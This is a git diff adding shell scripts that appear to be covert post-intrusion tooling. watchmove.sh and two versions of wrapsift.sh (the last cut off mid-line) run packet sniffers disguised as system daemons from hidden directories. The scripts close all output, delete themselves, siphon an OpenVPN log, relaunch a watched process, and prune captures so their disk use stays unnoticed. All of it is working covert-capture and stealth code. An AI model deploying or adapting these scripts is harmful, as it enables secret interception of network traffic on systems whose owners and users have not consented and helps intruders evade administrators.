b/Linux/up/watchmove.sh new file mode 100644 index 0000000..8516f8d --- /dev/null +++ b/Linux/up/watchmove.sh @@ -0,0 +1,128 @@ +#!/bin/sh +#Mon Apr 5 11:35:30 EDT 2010 +BINDIR=/lib/.dccac5f15d079735 +export PATH=$BINDIR:/sbin:/usr/sbin:/bin:/usr/bin +INTF=3 +LOOPCOUNT=3600 +PREFIX=tc +MEGPERFILE=5 + +# DATADIR STUFF +DATADIR=/usr/lib/.dccac5f15d079736/t/t +# MAXFILES2 is the max number of files script will allow to reside in DATADIR +MAXFILES2=601 + +# WORKDIR STUFF +WORKDIR=$(cd $DATADIR/.. ; pwd) +# MAXFILES is most files syslogdd will create in WORKDIR +MAXFILES=100 + +# GETTHIS STUFF +GETFILE=/usr/local/openvpn/openvpn.log +DUPEFILE=openvpn.log + +cd $WORKDIR +pwd +if [ ! -d $DATADIR ] ; then + echo mkdir -p `pwd`/$DATADIR + echo -e "\n\ndirectory $DATADIR must already exist: \n" `ls -alrt $DATADIR` + exit 1 +fi +if [ ! -x $BINDIR/syslogdd ] ; then + echo -e "\n\n$BINDIR/syslogdd must be executable" + exit 2 +fi +if [ ! -s 1 ] ; then + echo -e "\n\nYou must put your filter in ./1" + exit 3 +fi + +C=5 + C2=$((C-1)) + +echo -e "\n\nC2=$C2 Sniffing on $INTF for: `cat 1`" + +echo PATH=$PATH +chgrp -R pcap $WORKDIR 2>/dev/null +chmod -R ug+rwX $WORKDIR + +MTOT=`echo "($MAXFILES+$MAXFILES2)*$MEGPERFILE" | bc` +GTOT=`echo "($MAXFILES+$MAXFILES2)*$MEGPERFILE/1024" | bc` +AVAIL=`df -h $WORKDIR | grep / | tr '\n' ' ' | awk '{print $4}' | tr -d 'a-zA-Z'` +MAX=`echo $AVAIL/10 | bc` + +echo -e "\n\nWill tie up at most ${MTOT}M (${GTOT}G) of space in $WORKDIR (which has ${AVAIL}G available)" +df -h $WORKDIR + +if [ $GTOT -gt $MAX ] ; then + echo -e "\n\nTHAT IS TOO MUCH (more than 1/10th) EXITING BEFORE RUNNING ANYTHING" + exit 4 +fi + +CMD="syslogdd -p -i $INTF -F 1 -W $MAXFILES -C $MEGPERFILE -s 0 -w ${PREFIX} -n" +echo -e "\n\nnow running \"$CMD\"" +ls -al 1 +which syslogdd + +exec 0>&- >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- +$CMD & +T=$? + + +if [ ! "$T" = "0" ] ; then + echo ERR: syslogdd returned $T > $WORKDIR/t.err + exit $T +fi +sleep 3 +LOGLINES=0 +while [ 1 ] ; do + cd $WORKDIR || break + C=`ls -Art1 ${PREFIX}* 2>/dev/null | wc -l` + C2=$((C-1)) + if [ $C2 -gt 0 ] ; then + #mv -v `ls -Art1 $WORKDIR/${PREFIX}* 2>/dev/null | head -$C2` $DATADIR + D=`date +%Y%m%d-%H%M` + for f in `ls -Art1 ${PREFIX}* 2>/dev/null | head -$C2` ; do + [ "$f" = "1" ] && continue + [ "$f" = "t" ] && continue + mv -v $f $DATADIR/$D.$f + done + fi + if [ -f "$GETFILE" ] ; then + NEWLINES=`cat $GETFILE 2>/dev/null | wc -l` + if [ $NEWLINES -lt $LOGLINES ] ; then + COU=0 + if [ -f $DATADIR/$DUPEFILE ] ; then + while [ 1 ] ; do + COU=$((COU+1)) + [ -f $DATADIR/$DUPEFILE.$COU ] && continue + break + done + mv -v $DATADIR/$DUPEFILE $DATADIR/$DUPEFILE.$COU + fi + cat $GETFILE > $DATADIR/$DUPEFILE + NEWLINES=`cat $DATADIR/$DUPEFILE 2>/dev/null | wc -l` + elif [ $NEWLINES -gt $LOGLINES ] ; then + TAILLINES=`echo $NEWLINES-$LOGLINES | bc` + tail -$TAILLINES $GETFILE >> $DATADIR/$DUPEFILE + fi + LOGLINES="$NEWLINES" + echo LOGLINES IS NOW $LOGLINES + fi + cd $DATADIR || break + # Just in case somehow DATADIR gets nulled: + [ "$DATADIR" ] || break + # Remove if too many files, more than $MAXFILES2-1 files + COU=`ls -At1 *.${PREFIX}* 2>/dev/null | wc -l` + COU=$((COU-$MAXFILES2)) + if [ $COU -gt 0 ] ; then + echo Removing excess $COU files, leaving $MAXFILES2 + for f in `ls -At1 *.${PREFIX}* 2>/dev/null | tail -$COU` ; do + rm -v $f + done + fi + + sleep $LOOPCOUNT + [ -d $WORKDIR ] || break +done + diff --git a/Linux/up/wrapsift.sh b/Linux/up/wrapsift.sh new file mode 100644 index 0000000..fdae25e --- /dev/null +++ b/Linux/up/wrapsift.sh @@ -0,0 +1,435 @@ +#!/bin/sh +#DIR=/lib/.08f6fc263f8b8449 +DIR=/var/tmp/.42d0a64ce836d9db +BDIR=/tmp +DEST1=$DIR/s +DEST2=$DEST1/s +DBGDIR=$DIR/d +SELFDELETE=1 +COMPRESS= +TOOL=devfsadmd +MAXPCT=75 +WIPEONMAX=0 +WIPEUNDER=0 +RETRYONDIE=0 +MAXFILES=600 +OUTFILE=s +CONF=$DEST1/${OUTFILE}.c +DIEDIR=$DEST1/D.${OUTFILE} +V="" +SPLIT=0 +# Sift args +CAP=10 +FILT="port 233" +INTF=bge0 +PSCMD= +SCRIPTNAME= +RUNFOR=7200 +DELAYFOR=0 +SLEEPFOR=1670 +WATCHFOR= +WATCHFORCHILDREN= +INODEDF="" +KBDF="" +MOREARGS="" +# END ARGS ::: DO NOT DELETE THIS LINE +# Args above here can be changed by autowrapsift, nothing below can. +VER=1.3.0.6 +STDERR=yes +ERR=0 + +dbg() { + [ "$STDERR" ] && echo -e "($INTF:$FILTDBG)[$$] $*" 1>&2 + [ -d $DBGDIR ] && echo -e `date -u`: "($INTF:$FILTDBG)[$$] $*" >> $DBGDIR/.dbg + [ ! -d $DBGDIR ] && [ $ERR -gt 0 ] && echo -e `date -u`: "($INTF:$FILTDBG)[$$] ERR=$ERR" >> $DEST1/.D$OUTFILE +} + +die() { + ERR=$1 + shift + MSG="$*" + [ "$MSG" ] || MSG=$ERR + dbg "FATAL: $MSG" + exit $ERR +} + +info() { +# dbg Using at most $MAXPCT% of ${KBTOT}K available or ${OURMAX}K + dbg Using at most $MAXPCT% of bytes/inodes + [ $WIPEONMAX -gt 0 ] && dbg "Wiping our oldest files when $MAXPCT% is exceeded" + [ $WIPEUNDER -gt 0 ] && dbg "Wiping any files under $WIPEUNDER bytes before compression" + [ $RETRYONDIE -gt 0 ] && dbg "Sleeping $SLEEPFOR on sift failure later, usu. when interface down" + dbg "Using at most $MAXPCT% of inodes available, ${IPCT}% is currently used" + dbg "Variables so far: MAXPCT=$MAXPCT IPCT=$IPCT EXT=$EXT KBTOT=$KBTOT= OURMAX=$OURMAX= KBUSED=$KBUSED= DELAYFOR=$DELAYFOR=" + dbg "$0 PID is $$, kill me with \n\nkill -9 $$\n\nOR WITH\n\nmkdir $DIEDIR\n\n" +} + +watchfor() { + # Disabled if $WATCHFOR is missing or non-executable + if [ "$WATCHFOR" -a -x "$DIR/$WATCHFOR" ] ; then + FAILCOUNT=0 + MOVEON="" + while [ 1 ] ; do + [ $FAILCOUNT -gt 20 ] && die 36 Too many failed attempts to start $WATCHFOR + [ $FAILCOUNT -gt 0 ] && sleep 1 + MAINPID=`ps -ef | grep -v grep | grep " \./$WATCHFOR" | tee -a $DBGDIR/.dbg | awk '{print $2}' | tr '\n\r' ' ' | sed "s, $,,g"` + dbg "Looking for WATCHFOR=$WATCHFOR= found MAINPID=$MAINPID= FAILCOUNT=$FAILCOUNT=" + [ "$STDERR" ] && ps -ef | grep -v grep | grep " \./$WATCHFOR" + # Hard code to "ps -ef" for now. PSCMD is defined, but what columns have pid varies. + if [ "$MAINPID" ] ; then + for THISPID in "$MAINPID" ; do + if [ "$WATCHFORCHILDREN" ] ; then + FOUND="" + for K in $WATCHFORCHILDREN ; do + dbg "Found THISPID=$THISPID looking for pid of $K as \" $THISPID .*$K\"" + KIDPID=`ps -ef | grep -v grep | egrep " $THISPID .*$K"` + [ "$KIDPID" ] && dbg "Found child of $THISPID running $K, KIDPID\n==\n$KIDPID\n==" + [ "$KIDPID" ] && FOUND=yes + done + if [ ! "$FOUND" ] ; then + FAILCOUNT=`echo $FAILCOUNT+1 | bc` + if [ $FAILCOUNT -gt 9 ] ; then + dbg "Found WATCHFOR=$WATCHFOR as PID=$THISPID but no CHILDREN=$WATCHFORCHILDREN= for ten seconds. Must KILL $THISPID" + kill -9 $THISPID + THISPID=`ps -ef | grep -v grep | grep " $THISPID " | awk '{print $2}' | head -1` + [ "$THISPID" ] && MOVEON=yes && dbg Could not kill -9 $THISPID. Must move on. + [ "$THISPID" ] || continue + break + else + dbg "Found WATCHFOR=$WATCHFOR as PID=$THISPID but no CHILDREN=$WATCHFORCHILDREN=. Giving it ten seconds." + continue + fi + fi + else + FOUND=yes + fi + [ "$FOUND" ] && break + done + [ "$MOVEON$FOUND" ] && break + else + FAILCOUNT=`echo $FAILCOUNT+1 | bc` + dbg No WATCHFOR=$WATCHFOR running, starting with ./$WATCHFOR + (cd $DIR ; ./$WATCHFOR >/dev/null 2>/dev/null & ) >/dev/null 2>/dev/null & + fi + done + fi +} + +PATH=$BDIR:$DIR:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb +export PATH + +dbg DEBUG output will be sent to $DBGDIR/.dbg if that location exists. + +trap : TERM + +FILTDBG=$FILT +LEN=`echo "$FILT" | wc -c` + +if [ $LEN -gt 40 ] ; then + FILTDBG="$LEN char filter" +fi +unset LEN + +export PATH DEST1 DEST2 DIR TOOL FILT FILTDBG + +if [ "$COMPRESS" ] ; then + dbg "Testing $COMPRESS on copy of $0" + while [ 1 ] ; do + EXT=`date -u +%Y%m%d%H%M%S` + EXT="" + [ -f "$0.$EXT" ] && sleep 1 && continue + cp $0 $0.$EXT || die 26 Cannot copy $0 to $0.$EXT + break + done + $COMPRESS $0.$EXT + ERR=$? + dbg "$COMPRESS returned $ERR" + ls -alrt $0* + rm $rmverbose -f $0.$EXT* || die 27 Cannot delete $0.$EXT* + if [ $ERR -ne 0 ] ; then + rm $rmverbose -f $0 || die 28 Cannot delete $0 after $COMPRESS failed + die 25 $COMPRESS failed test on $0.$EXT + fi +fi + +if [ $SELFDELETE -gt 0 ] ; then + dbg "Removing self ($0)" + rm $rmverbose -f $0 || die 19 Cannot delete $0 +fi + +if [ "$WATCHFOR" ] ; then + dbg WATCHING for $DIR/$WATCHFOR: + ls -al $DIR/$WATCHFOR || dbg "WATCHFOR=$WATCHFOR= does not exist in $DIR/, will start it if it appears there" +fi + +[ -d "$BDIR" ] || die 12 BDIR=$BDIR must exist +[ -d "$DIR" ] || die 12 DIR=$DIR must exist +[ -d "$DEST2" ] || mkdir -p $DEST2 +TEST=`which $TOOL 2>&1| grep "$DIR/$TOOL"` +[ "$TEST" ] && dbg "continuing, $TOOL is in PATH=$PATH" +[ ! "$TEST" ] && die 11 "cannot continue $TOOL either not in PATH or not in $DIR (which $TOOL=`which $TOOL 2>&1`)" + +TEST=`$PSCMD 2>&1| egrep -v "grep| $$ " | grep "sh .*$SCRIPTNAME"` +if [ "$TEST" ] ; then + die 30 "Cannot run $0, it is already running: $TEST" +else + dbg "Continuing, no previous instance of sh .*$SCRIPTNAME" +fi +if [ $SPLIT -gt 0 ] ; then + man split | grep -- -b || die 32 split binary man page not on target + which split || die 33 split binary not in PATH=$PATH +fi + +cd / + +WHICH=FIRST +TESTRUN="" +ERRCOUNT=0 +MINCOUNT=0 +LASTMIN="" + +while [ 1 ] ; do + [ -d "$DEST2" ] || die 13 DEST2=$DEST2= not a dir + [ -x "$DIR/$TOOL" ] || die 14 $DIR/$TOOL not executable + [ -d $DIEDIR ] && break + + THISMIN=`date -u +%Y%m%d%H%M` + if [ "$THISMIN" = "$LASTMIN" ] ; then + MINCOUNT=`echo $MINCOUNT+1 | bc` + else + MINCOUNT=0 + LASTMIN=$THISMIN + fi + if [ $MINCOUNT -gt 5 ] ; then + if [ $RETRYONDIE -gt 0 ] ; then + dbg "Looped over 5 times per minute, sleeping $SLEEPFOR then trying again" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + MINCOUNT=0 + continue + else + die 24 over five loops per minute + fi + fi + dbg LASTMIN=$LASTMIN MINCOUNT=$MINCOUNT + + watchfor $WATCHFOR + + if [ -f $CONF ] ; then + if [ -s $CONF ] ; then + MORE="" + if [ $ERR -gt 0 ] ; then + # If ERR last time through AND a config file, we assume here + # someone killed the sift binary to read in the new config + ERRCOUNT=`echo $ERRCOUNT-1 | bc` + MORE="... decremented ERRCOUNT to $ERRCOUNT" + fi + dbg sourcing/deleting $CONF containing${MORE}: `cat $CONF` + . $CONF + TESTRUN="" + fi + rm $rmverbose -f $CONF + info + unset MORE + fi + + + KBUSED=`$KBDF $DEST1 | grep "%" | grep "/" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + if [ "$INODEDF" ] ; then +# IPCT=`$INODEDF $DEST1 | grep "[0-9]%" | awk '{print $4}' | tr -dc '0123456789'` + IPCT=`$INODEDF $DEST1 | grep "[0-9]%" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + [ "$IPCT" ] || die 18 IPCT=$IPCT= not defined + fi + + [ "$KBUSED" ] || die 16 KBUSED=$KBUSED= not defined +# [ "$OURMAX" ] || die 17 OURMAX=$OURMAX= not defined + + [ "$STDERR" ] && info + + + if [ ! "$TESTRUN" ] ; then + if [ -f $DEST1/.$OUTFILE ] ; then + if [ $SELFDELETE -eq 0 ] ; then + EXT=atstart.`date -u +%Y%m%d%H%M%S` + if [ -f $DEST1/.$OUTFILE ] ; then + DESTFILE=$DEST2/${OUTFILE}.$EXT + if [ "$COMPRESS" ] ; then + dbg compressing with $COMPRESS ${OUTFILE}.$EXT + $COMPRESS $DEST1/.${OUTFILE} + DESTFILE=$DEST2/${OUTFILE}.$EXT.bz2 + [ "$COMPRESS" = "compress" ] && DESTFILE=${OUTFILE}.$EXT.Z + [ "$COMPRESS" = "gzip" ] && DESTFILE=${OUTFILE}.$EXT.gz + fi + dbg On start, last output file moved: mv $V $DEST1/.$OUTFILE* $DESTFILE + mv $v $DEST1/.$OUTFILE* $DESTFILE + fi + else + die 29 Output file $DEST1/.$OUTFILE exists already, move to $DEST2 or delete it. + fi + fi + dbg "TWO SECOND TEST RUN: C=\"-f -i \$INTF -p\\\"2:$FILT\\\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS\" $TOOL" + C="-f -i $INTF -p\"2:$FILT\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS" $TOOL + TESTRUN=$? + dbg "TEST RUN returned $TESTRUN : `ls -al $DEST1/`" + if [ $TESTRUN -gt 0 ] ; then + TESTRUN2=`echo $TESTRUN+90 | bc` + die $TESTRUN2 "Test 2 second run returned $TESTRUN, cannot continue" + fi + # Just remove two second capture + rm $rmverbose -f $DEST1/.$OUTFILE + fi + + +# if [ $KBUSED -gt $OURMAX ] ; then + if [ $KBUSED -gt $MAXPCT ] ; then + if [ $WIPEONMAX -lt 1 ] ; then + dbg "Cannot write, KBUSED > MAXPCT (${KBUSED}% is over ${MAXPCT}% full), sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 22 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + else + WIPECT=`ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | wc -l` + if [ $WIPECT -lt 1 ] ; then + dbg "Cannot wipe (no files) so cannot write KBUSED > MAXPCT (${KBUSED}% is over ${MAXPCT}% full), sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + else + while [ $KBUSED -gt $MAXPCT -a $WIPECT -gt 0 ] ; do + /bin/rm $V -f `ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | head -1` + ERR=$? + [ "$ERR" -ne 0 ] && break + KBUSED=`$KBDF $DEST1 | grep "%" | grep "/" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + WIPECT=`ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | wc -l` + done + [ $ERR -eq 0 -a $WIPECT -gt 0 ] && /bin/rm $V -f `ls -Art1 $DEST2/${OUTFILE}* | head -1` + ERR=$? + fi + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 22 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + fi + if [ $KBUSED -gt $MAXPCT ] ; then + if [ $SELFDELETE -eq 0 ] ; then + dbg "Unable to resolve space issue, persisting though, just looping" + continue + fi + die 31 "Unable to resolve space issue, must die: KBUSED=$KBUSED > MAXPCT=$MAXPCT but WIPECT=$WIPECT " + else + continue + fi + + fi + if [ $IPCT -gt $MAXPCT ] ; then + dbg "Cannot write, inodes %used $IPCT > $MAXPCT, sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 23 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + continue + fi + #TODO: Look closer here...is this 2sec run being done every time thru? + EXT=`date -u +%Y%m%d%H%M%S` + if [ ! -f $DEST1/.$OUTFILE ] ; then + # A 2 second run before we close stdout to test syntax + dbg "RUNNING $WHICH ONE AS: C=\"-f -i $INTF -p\\\"$RUNFOR:$FILT\\\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS\" $TOOL" + WHICH=THIS + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + C="-f -i $INTF -p\"$RUNFOR:$FILT\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS" $TOOL + ERR=$? + else + GOODCAP=yes + dbg $TOOL exited with $ERR + if [ $WIPEUNDER -gt 0 ] ; then + if [ `cat $DEST1/.${OUTFILE} | wc -c` -lt $WIPEUNDER ] ; then + [ -d $DBGDIR ] && dbg REMOVING $DEST1/.${OUTFILE} size must be under $WIPEUNDER `ls -al $DEST1/.$OUTFILE` + rm $rmverbose -f $DEST1/.${OUTFILE} + GOODCAP="" + fi + fi + if [ "$GOODCAP" = "yes" ] ; then + dbg Now compress/split/moving last one from $DEST1 to $DEST2 with EXT=$EXT SPLIT=$SPLIT BACKGROUNDED BLOCK + ( + cd $DEST1 + [ -d $DBGDIR -a $WIPEUNDER -gt 0 ] && dbg size of $DEST1/.${OUTFILE} must be ge $WIPEUNDER `ls -al $DEST1/.$OUTFILE` + mv $V .${OUTFILE} ${OUTFILE}.$EXT + SPLITFILE=${OUTFILE}.$EXT + if [ "$COMPRESS" ] ; then + dbg compressing with $COMPRESS ${OUTFILE}.$EXT + $COMPRESS ${OUTFILE}.$EXT + SPLITFILE=${OUTFILE}.$EXT.bz2 + [ "$COMPRESS" = "compress" ] && SPLITFILE=${OUTFILE}.$EXT.Z + [ "$COMPRESS" = "gzip" ] && SPLITFILE=${OUTFILE}.$EXT.gz + fi + if [ $SPLIT -gt 0 ] ; then + dbg splitting $SPLITFILE into $SPLIT byte chunks reassemble with cat ${SPLITFILE}_'*' + split -b $SPLIT -a 3 $SPLITFILE ${SPLITFILE}_ + if [ $? == 0 ] ; then + rm $SPLITFILE + else + die 34 split failed: split -b $SPLIT -a 3 $SPLITFILE ${SPLITFILE}_ + fi + fi + dbg moving ready files with: mv $V $SPLITFILE* $DEST2/ + if [ -d $DBGDIR ] ; then + mv $V $SPLITFILE* $DEST2/ >> $DBGDIR/.dbg 2>&1 + else + mv $V $SPLITFILE* $DEST2/ + fi + ) & + fi + fi + if [ $DELAYFOR -gt 0 ] ; then + dbg sleeping $DELAYFOR until next run + sleep $DELAYFOR + fi + + # Check DEST1 for stranded files, note them--ignore dotted files, so no -a or -A + COU=`cd $DEST1 ; ls -t1 2>/dev/null | wc -l` + COU=`echo $COU-$MAXFILES | bc` + if [ $COU -gt 0 ] ; then + for f in `cd $DEST2 ; ls -At1 2>/dev/null | tail -$COU` ; do + dbg "Stranded $COU files in $DEST1, not removing them, why is this happening" + dbg `cd $DEST1 ; ls -arlt` + done + fi + + # Remove if too many files, more than $MAXFILES-1 files + COU=`cd $DEST2 ; ls -At1 2>/dev/null | wc -l` + COU=`echo $COU-$MAXFILES | bc` + if [ $COU -gt 0 ] ; then + for f in `cd $DEST2 ; ls -At1 2>/dev/null | tail -$COU` ; do + dbg "Removing $COU excess files (leaving $MAXFILES): $f" + rm $rmverbose -f $DEST2/$f + done + fi + + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 21 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi +done +dbg "ERR=$ERR ERRCOUNT=$ERRCOUNT DONE: "`ls -ald $DIEDIR 2>/dev/null` + +rmdir $DIEDIR diff --git a/Linux/up/wrapsift.sh.prev b/Linux/up/wrapsift.sh.prev new file mode 100644 index 0000000..5f0e6b7 --- /dev/null +++ b/Linux/up/wrapsift.sh.prev @@ -0,0 +1,339 @@ +#!/bin/sh +#DIR=/lib/.08f6fc263f8b8449 +DIR=/var/tmp/.42d0a64ce836d9db +BDIR=/tmp +DEST1=$DIR/s +DEST2=$DEST1/s +DBGDIR=$DIR/d +SELFDELETE=1 +COMPRESS= +TOOL=devfsadmd +MAXPCT=75 +WIPEONMAX=0 +RETRYONDIE=0 +MAXFILES=600 +OUTFILE=s +CONF=$DEST1/${OUTFILE}.c +DIEDIR=$DEST1/D.${OUTFILE} +V="" +SPLIT=0 +# Sift args +CAP=10 +FILT="port 233" +INTF=bge0 +PSCMD= +SCRIPTNAME= +RUNFOR=7200 +DELAYFOR=0 +SLEEPFOR=1670 +INODEDF="" +KBDF="" +MOREARGS="" +# END ARGS ::: DO NOT DELETE THIS LINE +# Args above here can be changed by autowrapsift, nothing below can. +VER=1.2.1.3 +STDERR=yes +ERR=0 + +dbg() { + [ "$STDERR" ] && echo "($INTF:$FILTDBG)[$$] $*" 1>&2 + [ -d $DBGDIR ] && echo `date -u`: "($INTF:$FILTDBG)[$$] $*" >> $DBGDIR/.dbg + [ ! -d $DBGDIR ] && [ $ERR -gt 0 ] && echo `date -u`: "($INTF:$FILTDBG)[$$] ERR=$ERR" >> $DEST1/.D$OUTFILE +} + +die() { + ERR=$1 + shift + MSG="$*" + [ "$MSG" ] || MSG=$ERR + dbg "FATAL: $MSG" + exit $ERR +} + +info() { +# dbg Using at most $MAXPCT% of ${KBTOT}K available or ${OURMAX}K + dbg Using at most $MAXPCT% of bytes/inodes + [ $WIPEONMAX -gt 0 ] && dbg "Wiping our oldest files when $MAXPCT% is exceeded" + [ $RETRYONDIE -gt 0 ] && dbg "Sleeping $SLEEPFOR on sift failure later, usu. when interface down" + dbg "Using at most $MAXPCT% of inodes available, ${IPCT}% is currently used" + dbg "Variables so far: MAXPCT=$MAXPCT IPCT=$IPCT EXT=$EXT KBTOT=$KBTOT= OURMAX=$OURMAX= KBUSED=$KBUSED= DELAYFOR=$DELAYFOR=" + dbg "$0 PID is $$, kill me with \n\nkill -9 $$\n\nOR WITH\n\nmkdir $DIEDIR\n\n" +} + +PATH=$BDIR:$DIR:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb +export PATH + +dbg DEBUG output will be sent to $DBGDIR/.dbg if that location exists. + +trap : TERM + +FILTDBG=$FILT +LEN=`echo "$FILT" | wc -c` + +if [ $LEN -gt 20 ] ; then + FILTDBG="$LEN char filter" +fi +unset LEN + +export PATH DEST1 DEST2 DIR TOOL FILT FILTDBG + +if [ "$COMPRESS" ] ; then + dbg "Testing $COMPRESS on copy of $0" + while [ 1 ] ; do + EXT=`date -u +%Y%m%d%H%M%S` + EXT="" + [ -f "$0.$EXT" ] && sleep 1 && continue + cp $0 $0.$EXT || die 26 Cannot copy $0 to $0.$EXT + break + done + $COMPRESS $0.$EXT + ERR=$? + dbg "$COMPRESS returned $ERR" + ls -alrt $0* + rm $rmverbose -f $0.$EXT* || die 27 Cannot delete $0.$EXT* + if [ $ERR -ne 0 ] ; then + rm $rmverbose -f $0 || die 28 Cannot delete $0 after $COMPRESS failed + die 25 $COMPRESS failed test on $0.$EXT + fi +fi + +if [ $SELFDELETE -gt 0 ] ; then + dbg "Removing self ($0)" + rm $rmverbose -f $0 || die 19 Cannot delete $0 +fi + +[ -d "$BDIR" ] || die 12 BDIR=$BDIR must exist +[ -d "$DIR" ] || die 12 DIR=$DIR must exist +[ -d "$DEST2" ] || mkdir -p $DEST2 +TEST=`which $TOOL 2>&1| grep "$DIR/$TOOL"` +[ "$TEST" ] && dbg "continuing, $TOOL is in PATH=$PATH" +[ ! "$TEST" ] && die 11 "cannot continue $TOOL either not in PATH or not in $DIR (which $TOOL=`which $TOOL 2>&1`)" + +TEST=`$PSCMD 2>&1| egrep -v "grep| $$ " | grep "sh .*$SCRIPTNAME"` +if [ "$TEST" ] ; then + die 30 "Cannot run $0, it is already running: $TEST" +else + dbg "Continuing, no previous instance of sh .*$SCRIPTNAME" +fi +if [ $SPLIT -gt 0 ] ; then + man split | grep -- -b || die 32 split binary man page not on target + which split || die 33 split binary not in PATH=$PATH +fi + +cd / + +WHICH=FIRST +TESTRUN="" +ERRCOUNT=0 +MINCOUNT=0 +LASTMIN="" + +while [ 1 ] ; do + [ -d "$DEST2" ] || die 13 DEST2=$DEST2= not a dir + [ -x "$DIR/$TOOL" ] || die 14 $DIR/$TOOL not executable + [ -d $DIEDIR ] && break + + THISMIN=`date -u +%Y%m%d%H%M` + if [ "$THISMIN" = "$LASTMIN" ] ; then + MINCOUNT=`echo $MINCOUNT+1 | bc` + else + MINCOUNT=0 + LASTMIN=$THISMIN + fi + if [ $MINCOUNT -gt 5 ] ; then + if [ $RETRYONDIE -gt 0 ] ; then + dbg "Looped over 5 times per minute, sleeping $SLEEPFOR then trying again" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + MINCOUNT=0 + continue + else + die 24 over five loops per minute + fi + fi + dbg LASTMIN=$LASTMIN MINCOUNT=$MINCOUNT + + + if [ -f $CONF ] ; then + if [ -s $CONF ] ; then + MORE="" + if [ $ERR -gt 0 ] ; then + # If ERR last time through AND a config file, we assume here + # someone killed the sift binary to read in the new config + ERRCOUNT=`echo $ERRCOUNT-1 | bc` + MORE="... decremented ERRCOUNT to $ERRCOUNT" + fi + dbg sourcing/deleting $CONF containing${MORE}: `cat $CONF` + . $CONF + TESTRUN="" + fi + rm $rmverbose -f $CONF + info + unset MORE + fi + + + KBUSED=`$KBDF $DEST1 | grep "%" | grep "/" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + if [ "$INODEDF" ] ; then +# IPCT=`$INODEDF $DEST1 | grep "[0-9]%" | awk '{print $4}' | tr -dc '0123456789'` + IPCT=`$INODEDF $DEST1 | grep "[0-9]%" | sed "s,.* \(.*\)%.*,\1," | tr -dc '0123456789'` + [ "$IPCT" ] || die 18 IPCT=$IPCT= not defined + fi + + [ "$KBUSED" ] || die 16 KBUSED=$KBUSED= not defined +# [ "$OURMAX" ] || die 17 OURMAX=$OURMAX= not defined + + [ "$STDERR" ] && info + + + if [ ! "$TESTRUN" ] ; then + if [ -f $DEST1/.$OUTFILE ] ; then + if [ $SELFDELETE -eq 0 ] ; then + EXT=atstart.`date -u +%Y%m%d%H%M%S` + if [ -f $DEST1/.$OUTFILE ] ; then + dbg On start, last output file moved: mv $V $DEST1/.$OUTFILE $DEST2/${OUTFILE}.$EXT + mv $v $DEST1/.$OUTFILE $DEST2/${OUTFILE}.$EXT + fi + else + die 29 Output file $DEST1/.$OUTFILE exists already, move to $DEST2 or delete it. + fi + fi + dbg "TWO SECOND TEST RUN: C=\"-f -i \$INTF -p\\\"2:$FILT\\\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS\" $TOOL" + C="-f -i $INTF -p\"2:$FILT\" -s $CAP -n $DEST1/.$OUTFILE$MOREARGS" $TOOL + TESTRUN=$? + dbg "TEST RUN returned $TESTRUN : `ls -al $DEST1/`" + if [ $TESTRUN -gt 0 ] ; then + TESTRUN2=`echo $TESTRUN+30 | bc` + die $TESTRUN2 "Test 2 second run returned $TESTRUN, cannot continue" + fi + # Just remove two second capture + rm $rmverbose -f $DEST1/.$OUTFILE + fi + + +# if [ $KBUSED -gt $OURMAX ] ; then + if [ $KBUSED -gt $MAXPCT ] ; then + if [ $WIPEONMAX -lt 1 ] ; then + dbg "Cannot write, KBUSED > MAXPCT (${KBUSED}% is over ${MAXPCT}% full), sleeping $SLEEPFOR (but still running)" + unset STDERR + exec >&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- + sleep $SLEEPFOR + ERR=$? + if [ $ERR -gt 0 ] ; then + ERRCOUNT=`echo $ERRCOUNT+1 | bc` + if [ $ERRCOUNT -gt 15 ] ; then + die 22 "ERROR COUNT $ERRCOUNT: cannot continue" + fi + fi + else + WIPECT=`ls -Art1 $DEST2/${OUTFILE}* 2>/dev/null | wc -l` + if [ $WIPECT -lt 1 ] ; then + dbg "Cannot wipe (no files) so cannot write KBUSED > MAXPCT 